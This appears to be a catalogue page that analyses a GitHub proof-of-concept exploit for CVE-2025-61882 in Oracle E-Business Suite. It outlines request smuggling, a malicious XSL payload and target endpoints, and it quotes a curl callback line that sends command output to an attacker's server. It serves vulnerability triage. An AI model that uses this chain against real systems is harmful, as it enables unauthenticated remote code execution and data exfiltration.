Sachinart/CVE-2025-61882

GitHubRepository PoCExploit

PoC files

3 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a multi-threaded bulk exploitation tool for CVE-2025-61882 in Oracle E-Business Suite. It actively exploits an HTTP request smuggling vulnerability to achieve unauthenticated remote code execution by delivering a malicious XSL payload that executes a system command (`id`) and exfiltrates the output via a callback.

Backdoor review

No backdoor observed in reviewed code

The supplied evidence consists of a README and a Python scanner script for CVE-2025-61882. The script performs the advertised exploit behavior: it sends HTTP requests to targets, serves a malicious XSL payload, and listens for callbacks containing the output of the 'id' command. No concealed backdoor, unrelated payload, credential theft, persistence mechanism, or operator-directed harm was observed. The code is straightforward and its behavior aligns with the described vulnerability scanner.

ClassificationExploit
Model confidence95%
AuthenticationNot required
LanguagesPython
Target softwareOracle E-Business SuiteOracle Concurrent Processing
Attack typesRemote Code ExecutionHTTP Request Smuggling
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The code actively exploits the vulnerability by sending a crafted HTTP request smuggling payload to trigger a server-side request to an attacker-controlled server, which then serves a malicious XSL payload that executes an arbitrary system command ('id') on the target. This goes beyond detection or validation; it achieves remote code execution and exfiltrates the result.

cve-2025-61882.py:30cve-2025-61882.py:104-113cve-2025-61882.py:135-141

Requirements

  • Requires a target Oracle E-Business Suite instance vulnerable to CVE-2025-61882.README.md:4
  • Requires an attacker-controlled server (VPS) to receive callbacks from the target.README.md:40

Observed behavior

  • Fetches a CSRF token from the target's /OA_HTML/runforms.jsp and /OA_HTML/JavaScriptServlet endpoints.cve-2025-61882.py:118-125
  • Constructs an HTTP request smuggling payload that injects a request to an attacker-controlled server.cve-2025-61882.py:104-113
  • Sends the smuggling payload to the target's /OA_HTML/configurator/UiServlet endpoint.cve-2025-61882.py:135-141
  • Starts an HTTP server on a random port to serve a malicious XSL stylesheet that executes a system command via Java reflection.cve-2025-61882.py:24-33
  • The XSL payload instructs the target to execute 'curl' to send the base64-encoded output of the 'id' command back to the attacker's server.cve-2025-61882.py:30
  • Receives the callback, decodes the base64 data, and validates successful exploitation by matching a regex pattern for the 'id' command output.cve-2025-61882.py:55-77
  • Logs the vulnerable target's IP and command output to 'vuln-output.txt'.cve-2025-61882.py:75-77
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Exploit Behavior
The script exploits CVE-2025-61882 by sending crafted HTTP requests to targets, serving an XSL payload that executes 'curl http://{lhost}:{port}/callback?data=$(id|base64)', and validating the callback output.This is the normal, advertised behavior of a proof-of-concept exploit for the stated CVE.cve-2025-61882.py:30cve-2025-61882.py:55-77cve-2025-61882.py:101-116
Network Listener
The script starts an HTTP server on a random port (2000-9999) on 0.0.0.0 to receive callbacks from exploited targets.This is required for the exploit's callback mechanism and is consistent with the documented functionality.cve-2025-61882.py:145-150
File Write
The script writes successful exploitation results to 'vuln-output.txt'.This is a standard logging feature for a scanner tool and does not indicate backdoor behavior.cve-2025-61882.py:76-77cve-2025-61882.py:176-180
Review boundaries

What the analysis did not establish

  • One file (LICENSE) is omitted from the packet; its content is not provided.
  • The analysis is based solely on static code review; the code was not executed, and its operational reliability is not verified.
  • One file (LICENSE) was present in the repository but not included in the text evidence; it is a standard metadata file and unlikely to contain executable code.
  • The review is limited to the supplied text evidence and does not include dynamic analysis or inspection of the omitted file.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1